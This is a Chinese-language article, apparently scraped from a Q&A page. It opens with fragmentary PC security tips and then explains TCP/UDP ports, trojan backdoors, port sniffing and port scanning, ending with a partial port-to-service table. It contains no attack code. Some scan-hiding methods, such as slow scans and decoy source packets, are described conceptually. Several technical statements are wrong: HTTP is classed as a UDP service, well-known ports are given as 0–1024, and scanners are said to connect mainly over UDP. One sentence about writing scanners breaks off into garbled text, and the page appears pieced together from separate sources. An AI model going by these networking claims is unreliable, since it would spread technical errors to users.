上網過程中,突然覺得計算機工作不對勁時,彷彿感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,一旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我一直認為聊天室沒有什麼意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。
㈦ 網路埠技術都包括什麼
你可以參考http://volf.blogchina.com/472793.html
一、埠簡介
隨著計算機網路技術的發展,原來物理上的介面(如鍵盤、滑鼠、網卡、顯示卡等輸入/輸出介面)已不能滿足網路通信的要求,TCP/IP協議作為網路通信的標准協議就解決了這個通信難題。TCP/IP協議集成到操作系統的內核中,這就相當於在操作系統中引入了一種新的輸入/輸出介面技術,因為在TCP/IP協議中引入了一種稱之為"Socket(套接字)"應用程序介面。有了這樣一種介面技術,一台計算機就可以通過軟體的方式與任何一台具有Socket介面的計算機進行通信。埠在計算機編程上也就是"Socket介面"。
有了這些埠後,這些埠又是如何工作呢?例如一台伺服器為什麼可以同時是Web伺服器,也可以是FTP伺服器,還可以是郵件伺服器等等呢?其中一個很重要的原因是各種服務採用不同的埠分別提供不同的服務,比如:通常TCP/IP協議規定Web採用80號埠,FTP採用21號埠等,而郵件伺服器是採用25號埠。這樣,通過不同埠,計算機就可以與外界進行互不幹擾的通信。
據專家們分析,伺服器埠數最大可以有65535個,但是實際上常用的埠才幾十個,由此可以看出未定義的埠相當多。這是那麼多黑客程序都可以採用某種方法,定義出一個特殊的埠來達到入侵的目的的原因所在。為了定義出這個埠,就要依靠某種程序在計算機啟動之前自動載入到內存,強行控制計算機打開那個特殊的埠。這個程序就是"後門"程序,這些後門程序就是常說的木馬程序。簡單的說,這些木馬程序在入侵前是先通過某種手段在一台個人計算機中植入一個程序,打開某個(些)特定的埠,俗稱"後門"(BackDoor),使這台計算機變成一台開放性極高(用戶擁有極高許可權)的FTP伺服器,然後從後門就可以達到侵入的目的。
二、埠的分類
埠的分類根據其參考對象不同有不同劃分方法,如果從埠的性質來分,通常可以分為以下三類:
(1)公認埠(Well Known
Ports):這類埠也常稱之為"常用埠"。這類埠的埠號從0到1024,它們緊密綁定於一些特定的服務。通常這些埠的通信明確表明了某種服務的協議,這種埠是不可再重新定義它的作用對象。例如:80埠實際上總是HTTP通信所使用的,而23號埠則是Telnet服務專用的。這些埠通常不會像木馬這樣的黑客程序利用。為了使大家對這些常用埠多一些認識,在本章後面將詳細把這些埠所對面應的服務進行列表,供各位理解和參考。
(2) 注冊埠(Registered
Ports):埠號從1025到49151。它們鬆散地綁定於一些服務。也是說有許多服務綁定於這些埠,這些埠同樣用於許多其他目的。這些埠多數沒有明確的定義服務對象,不同程序可根據實際需要自己定義,如後面要介紹的遠程式控制制軟體和木馬程序中都會有這些埠的定義的。記住這些常見的程序埠在木馬程序的防護和查殺上是非常有必要的。常見木馬所使用的埠在後面將有詳細的列表。
(3) 動態和/或私有埠(Dynamic and/or Private
Ports):埠號從49152到65535。理論上,不應把常用服務分配在這些埠上。實際上,有些較為特殊的程序,特別是一些木馬程序就非常喜歡用這些端口,因為這些埠常常不被引起注意,容易隱蔽。
如果根據所提供的服務方式的不同,埠又可分為"TCP協議埠"和"UDP協議埠"兩種。因為計算機之間相互通信一般採用這兩種通信協議。前面所介紹的"連接方式"是一種直接與接收方進行的連接,發送信息以後,可以確認信息是否到達,這種方式大多採用TCP協議;另一種是不是直接與接收方進行連接,只管把信息放在網上發出去,而不管信息是否到達,也就是前面所介紹的"無連接方式"。這種方式大多採用UDP協議,IP協議也是一種無連接方式。對應使用以上這兩種通信協議的服務所提供的埠,也就分為"TCP協議埠"和"UDP協議埠"。
使用TCP協議的常見埠主要有以下幾種:
(1)
FTP:定義了文件傳輸協議,使用21埠。常說某某計算機開了FTP服務便是啟動了文件傳輸服務。下載文件,上傳主頁,都要用到FTP服務。
(2)
Telnet:它是一種用於遠程登陸的埠,用戶可以以自己的身份遠程連接到計算機上,通過這種埠可以提供一種基於DOS模式下的通信服務。如以前的BBS是純字元界面的,支持BBS的伺服器將23埠打開,對外提供服務。
(3)
SMTP:定義了簡單郵件傳送協議,現在很多郵件伺服器都用的是這個協議,用於發送郵件。如常見的免費郵件服務中用的就是這個郵件服務埠,所以在電子郵件設置中常看到有這么SMTP埠設置這個欄,伺服器開放的是25號埠。
(4)
POP3:它是和SMTP對應,POP3用於接收郵件。通常情況下,POP3協議所用的是110埠。也是說,只要你有相應的使用POP3協議的程序(例如Foxmail或Outlook),就可以不以Web方式登陸進郵箱界面,直接用郵件程序就可以收到郵件(如是163郵箱就沒有必要先進入網易網站,再進入自己的郵箱來收信)。
使用UDP協議埠常見的有:
(1)
HTTP:這是大家用得最多的協議,它就是常說的"超文本傳輸協議"。上網瀏覽網頁時,就得在提供網頁資源的計算機上打開80號埠以提供服務。常說"WWW服務"、"Web伺服器"用的就是這個埠。
(2) DNS:用於域名解析服務,這種服務在Windows
NT系統中用得最多的。網際網路上的每一台計算機都有一個網路地址與之對應,這個地址是常說的IP地址,它以純數字+"."的形式表示。然而這卻不便記憶,於是出現了域名,訪問計算機的時候只需要知道域名,域名和IP地址之間的變換由DNS伺服器來完成。DNS用的是53號埠。
(3)
SNMP:簡單網路管理協議,使用161號埠,是用來管理網路設備的。由於網路設備很多,無連接的服務就體現出其優勢 。
(4)
OICQ:OICQ程序既接受服務,又提供服務,這樣兩個聊天的人才是平等的。OICQ用的是無連接的協議,也是說它用的是UDP協議。OICQ伺服器是使用8000號埠,偵聽是否有信息到來,客戶端使用4000號埠,向外發送信息。如果上述兩個埠正在使用(有很多人同時和幾個好友聊天),就順序往上加。
在計算機的6萬多個埠,通常把埠號為1024以內的稱之為常用埠,這些常用埠所對應的服務通常情況下是固定的。表1所列的都是伺服器默認的埠,不允許改變,一般通信過程都主要用到這些埠。
表1
服務類型默認埠服務類型默認埠
Echo7Daytime13
FTP21Telnet23
SMTP25Time37
Whois43DNS53
Gopher70Finger79
WWW80POP3110
NNTP119IRC194
另外代理伺服器常用以下埠:
(1).
HTTP協議代理伺服器常用埠號:80/8080/3128/8081/9080
(2). SOCKS代理協議伺服器常用埠號:1080
(3). FTP協議代理伺服器常用埠號:21
(4). Telnet協議代理伺服器常用埠:23
三、埠在黑客中的應用
像木馬之類的黑客程序,就是通過對埠的入侵來實現其目的的。在埠的利用上,黑客程序通常有兩種方式,那就是"埠偵聽"和"埠掃描"。
"埠偵聽"與"埠掃描"是黑客攻擊和防護中經常要用到的兩種埠技術,在黑客攻擊中利用它們可以准確地尋找攻擊的目標,獲取有用信息,在個人及網路防護方面通過這種埠技術的應用可以及時發現黑客的攻擊及一些安全漏洞。下面首先簡單介紹一下這兩種埠技術的異同。
"埠偵聽"是利用某種程序對目標計算機的埠進行監視,查看目標計算機上有哪能些埠是空閑、可以利用的。通過偵聽還可以捕獲別人有用的信息,這主要是用在黑客軟體中,但對於個人來說也是非常有用的,可以用偵聽程序來保護自己的計算機,在自己計算機的選定埠進行監視,這樣可以發現並攔截一些黑客的攻擊。也可以偵聽別人計算機的指定埠,看是否空閑,以便入侵。
"埠掃描"(port
scanning)是通過連接到目標系統的TCP協議或UDP協議埠,來確定什麼服務正在運行,然後獲取相應的用戶信息。現在有許多人把"埠偵聽"與"埠掃描"混為一談,根本分不清什麼樣的情況下要用偵聽技術,什麼樣的情況下要用掃描技術。不過,現在的這類軟體也似乎對這兩種技術有點模糊了,有的乾脆把兩個功能都集成在一塊。
"埠偵聽"與"埠掃描"有相似之處,也有區別的地方,相似的地方是都可以對目標計算機進行監視,區別的地方是"埠偵聽"屬於一種被動的過程,等待別人的連接的出現,通過對方的連接才能偵聽到需要的信息。在個人應用中,如果在設置了當偵聽到有異常連接立即向用戶報告這個功能時,就可以有效地偵聽黑客的連接企圖,及時把駐留在本機上的木馬程序清除掉。這個偵聽程序一般是安裝在目標計算機上。用在黑客中的"埠偵聽"通常是黑客程序駐留在伺服器端等待伺服器端在進行正常活動時捕獲黑客需要的信息,然後通過UDP協議無連接方式發出去。而"埠掃描"則是一種主動過程,它是主動對目標計算機的選定埠進行掃描,實時地發現所選定埠的所有活動(特別是對一些網上活動)。掃描程序一般是安裝在客戶端,但是它與伺服器端的連接也主要是通過無連接方式的UDP協議連接進行。
在網路中,當信息進行傳播的時候,可以利用工具,將網路介面設置在偵聽的模式,便可將網路中正在傳播的信息截獲或者捕獲到,從而進行攻擊。埠偵聽在網路中的任何一個位置模式下都可實施進行,而黑客一般都是利用埠偵聽來截取用戶口令。
四、埠偵聽原理
乙太網(Ethernet)協議的工作方式是將要發送的數據包發往連接在一起的所有計算機。在包頭中包括有應該接收數據包的計算機的正確地址,因為只有與數據包中目標地址一致的那台計算機才能接收到信息包。但是當計算機工作在偵聽模式下,不管數據包中的目標物理地址是什麼,計算機都將可以接收到。當同一網路中的兩台計算機通信的時候,源計算機將寫有目的計算機地址的數據包直接發向目的計算機,或者當網路中的一台計算機同外界的計算機通信時,源計算機將寫有目的計算機IP地址的數據包發向網關。但這種數據包並不能在協議棧的高層直接發送出去,要發送的數據包必須從TCP/IP協議的IP協議層交給網路介面--數據鏈路層。網路介面不會識別IP地址的,在網路介面中,由IP協議層來的帶有IP地址的數據包又增加了一部分乙太網的幀頭信息。在幀頭中,有兩個域分別為只有網路介面才能識別的源計算機和目的計算機的物理地址,這是一個48位的地址,這個48位的地址是與IP地址相對應的。換句話說,一個IP地址也會對應一個物理地址。對於作為網關的計算機,由於它連接了多個網路,它也就同時具備有很多個IP地址,在每個網路中它都有一個。而發向網路外的幀中繼攜帶的是網關的物理地址。
乙太網中填寫了物理地址的幀從網路埠中(或者從網關埠中)發送出去,傳送到物理的線路上。如果區域網是由一條粗同軸電纜或細同軸電纜連接成的,那麼數字信號在電纜上傳輸信號就能夠到達線路上的每一台計算機。再當使用集線器的時候,發送出去的信號到達集線器,由集線器再發向連接在集線器上的每一條線路。這樣在物理線路上傳輸的數字信號也就能到達連接在集線器上的每個計算機了。當數字信號到達一台計算機的網路介面時,正常狀態下網路介面對讀入數據幀進行檢查,如數據幀中攜帶的物理地址是自己的或者物理地址是廣播地址,那麼就會將數據幀交給IP協議層軟體。對於每個到達網路介面的數據幀都要進行這個過程的。但是當計算機工作在偵聽模式下,所有的數據幀都將被交給上層協議軟體處理。
當連接在同一條電纜或集線器上的計算機被邏輯地分為幾個子網的時候,那麼要是有一台計算機處於偵聽模式,它可以接收到發向與自己不在同一個子網(使用了不同的掩碼、IP地址和網關)的計算機的數據包,在同一個物理信道上傳輸的所有信息都可以被接收到。
在UNIX系統上,當擁有超級許可權的用戶要想使自己所控制的計算機進入偵聽模式,只需要向Interface(網路介面)發送I/O控制命令,就可以使計算機設置成偵聽模式了。而在Windows
9x的系統中則不論用戶是否有許可權都將可以通過直接運行偵聽工具就可以實現。
在埠處於偵聽時,常常要保存大量的信息(也包含很多的垃圾信息),並將對收集的信息進行大量的整理,這樣就會使正在偵聽的計算機對其他用戶的請求響應變的很慢。同時偵聽程序在運行的時候需要消耗大量的處理器時間,如果在這時就詳細的分析包中的內容,許多包就會來不及接收而被漏走。所以偵聽程序很多時候就會將偵聽得到的包存放在文件中等待以後分析。分析偵聽到的數據包是很頭疼的事情,因為網路中的數據包都非常之復雜。兩台計算機之間連續發送和接收數據包,在偵聽到的結果中必然會加一些別的計算機交互的數據包。偵聽程序將同一TCP協議會話的包整理到一起就相當不容易,如果還期望將用戶詳細信息整理出來就需要根據協議對包進行大量的分析。
現在網路中所使用的協議都是較早前設計的,許多協議的實現都是基於一種非常友好的,通信的雙方充分信任的基礎。在通常的網路環境之下,用戶的信息包括口令都是以明文的方式在網上傳輸的,因此進行埠偵聽從而獲得用戶信息並不是一件難點事情,只要掌握有初步的TCP/IP協議知識就可以輕松的偵聽到想要的信息的。
五、埠掃描原理
"埠掃描"通常指用同一信息對目標計算機的所有所需掃描的埠進行發送,然後根據返回埠狀態來分析目標計算機的埠是否打開、是否可用。"埠掃描"行為的一個重要特徵是:在短時期內有很多來自相同的信源地址傳向不同的目的地埠的包。
對於用埠掃描進行攻擊的人來說,攻擊者總是可以做到在獲得掃描結果的同時,使自己很難被發現或者說很難被逆向跟蹤。為了隱藏攻擊,攻擊者可以慢慢地進行掃描。除非目標系統通常閑著(這樣對一個沒有listen埠的數據包都會引起管理員的注意),有很大時間間隔的埠掃描是很難被識別的。隱藏源地址的方法是發送大量的欺騙性的埠掃描包(1000個),其中只有一個是從真正的源地址來的。這樣,即使全部包(1000)都被察覺,被記錄下來,也沒有人知道哪個是真正的信源地址。能發現的僅僅是"曾經被掃描過"。也正因為這樣那些黑客們才樂此不彼地繼續大量使用這種埠掃描技術來達到他們獲取目標計算機信息、並進行惡意攻擊。
通常進行埠掃描的工具目前主要採用的是埠掃描軟體,也通稱之為"埠掃描器",埠掃描可以為提供三個用途:
(1)識別目標系統上正在運行的TCP協議和UDP協議服務。
(2)識別目標系統的操作系統類型(Windows 9x, Windows
NT,或UNIX,等)。
(3)識別某個應用程序或某個特定服務的版本號。
埠掃描器是一種自動檢測遠程或本地計算機安全性弱點的程序,通過使用掃描器你可不留痕跡的發現遠程伺服器的各種TCP協議埠的分配及提供的服務,還可以得知它們所使用的軟體版本!這就能讓間接的了解到遠程計算機所存在的安全問題。
埠掃描器通過選用遠程TCP/IP協議不同的埠的服務,記錄目標計算機埠給予的回答的方法,可以搜集到很多關於目標計算機的各種有用信息(比如:是否有端口在偵聽?是否允許匿名登陸?是否有可寫的FTP目錄,是否能用TELNET等。
埠掃描器並不是一個直接攻擊網路漏洞的程序,它僅僅能幫助發現目標機的某些內在的弱點。一個好的掃描器還能對它得到的數據進行分析,幫助查找目標計算機的漏洞。但它不會提供一個系統的詳細步驟。
埠掃描器在掃描過程中主要具有以下三個方面的能力:
(1) 發現一個計算機或網路的能力;
(2)
一旦發現一台計算機,就有發現目標計算機正在運行什麼服務的能力;
(3)
通過測試目標計算機上的這些服務,發現存在的漏洞的能力。
編寫掃描器程序必須要很多TCP/IP協議程序編寫和C,Perl和或SHELL語言的知識。需要一些Socket編程的背景,一種在開發客戶/服務應 埠服務。)。
六、常用埠
在計算機的6萬多個埠,通常把埠號為1024以內的稱之為常用埠,這些常用埠所對應的服務通常情況下是固定的,所以了解這些常用埠在一定程序上是非常必要的,下表2列出了計算機的常用埠所對應的服務(註:在這列表中各項"="前面的數字為埠號,"="後面的為相應埠服務。)。
1=tcpmux(TCP協議 Port Service
Multiplexer)401=ups(Uninterruptible Power
Supply)
2=compressnet=Management Utility402=genie(Genie Protocol)
3=compressnet=Compression Process403=decap
5=rje(Remote Job Entry)404=nced
7=echo=Echo405=ncld
9=discard406=imsp(Interactive Mail Support Protocol)
11=systat,Active Users407=timbuktu
13=daytime408=prm-sm(Prospero Resource Manager Sys. Man.)
17=qotd(Quote of the Day)409=prm-nm(Prospero Resource Manager
Node Man.)
18=msp(Message Send Protocol)410=decladebug(DECLadebug Remote
Debug
Protocol)
19=Character Generator411=rmt(Remote MT Protocol)
20=FTP-data(File Transfer [Default
Data])412=synoptics-trap(Trap
Convention Port)
21=FTP(File Transfer [Control])413=smsp
22=ssh414=infoseek
23=telnet415=bnet
24private mail system416=silverplatter
25=smtp(Simple Mail Transfer)417=onmux
27=nsw-fe(NSW User System FE)418=hyper-g
29=msg-icp419=ariel1
31=msg-auth420=smpte
33=Display Support Protocol421=ariel2
35=private printer server422=ariel3
37=time423=opc-job-start(IBM Operations Planning and Control
Start)
38=rap(Route Access Protocol)424=opc-job-track(IBM Operations
Planning and
Control Track)
39=rlp(Resource Location Protocol)425=icad-el(ICAD)
41=graphics426=smartsdp
42=nameserver(WINS Host Name Server)427=svrloc(Server
Location)
43=nicname(Who Is)428=ocs_cmu
44=mpm-flags(MPM FLAGS Protocol)429=ocs_amu
45=mpm(Message Processing Mole [recv])430=utmpsd
46=mpm-snd(MPM [default send])431=utmpcd
47=ni-ftp432=iasd
48=Digital Audit Daemon433=nnsp
49=tacacs(Login Host Protocol (TACACS))434=mobileip-agent
50=re-mail-ck(Remote Mail Checking Protocol)435=mobilip-mn
51=la-maint(IMP Logical Address Maintenance)436=dna-cml
52=xns-time(XNS Time Protocol)437=comscm
53=Domain Name Server438=dsfgw
54=xns-ch(XNS Clearinghouse)439=dasp(dasp Thomas Obermair)
55=isi-gl(ISI Graphics Language)440=sgcp
56=xns-auth(XNS Authentication)441=decvms-sysmgt
57= private terminal access442=cvc_hostd
58=xns-mail(XNS Mail)443=https(https Mcom)
59=private file service444=snpp(Simple Network Paging Protocol)
61=ni-mail(NI MAIL)445=microsoft-ds
62=acas(ACA Services)446=ddm-rdb
63=whois+whois+447=ddm-dfm
64=covia(Communications Integrator (CI))448=ddm-byte
65=tacacs-ds(TACACS-Database Service)449=as-servermap
66=sql*net(Oracle SQL*NET)450=tserver
67=bootps(Bootstrap Protocol Server)451=sfs-smp-net(Cray
Network Semaphore
server)
68=bootpc(Bootstrap Protocol Client)452=sfs-config(Cray SFS
config server)
69=tftp(Trivial File Transfer)453=creativeserver
70=gopher454=contentserver
71=netrjs-1,Remote Job Service455=creativepartnr
72=netrjs-2,Remote Job Service456=macon-tcp
73=netrjs-3,Remote Job Service457=scohelp
74=netrjs-4,Remote Job Service458=appleqtc(apple quick time)
75=private dial out service459=ampr-rcmd
76=deos(Distributed External Object Store)460=skronk
77=private RJE service461=datasurfsrv
78=vettcp462=datasurfsrvsec
79=finger463=alpes
80=http(World Wide Web HTTP)464=kpasswd
81=hosts2-ns(HOSTS2 Name Server)465=ssmtp
82=xfer(XFER Utility)466=digital-vrc
83=mit-ml-dev(MIT ML Device)467=mylex-mapd
84=ctf(Common Trace Facility)468=photuris
85=mit-ml-dev(MIT ML Device)469=rcp(Radio Control Protocol)
86=mfcobol(Micro Focus Cobol)470=scx-proxy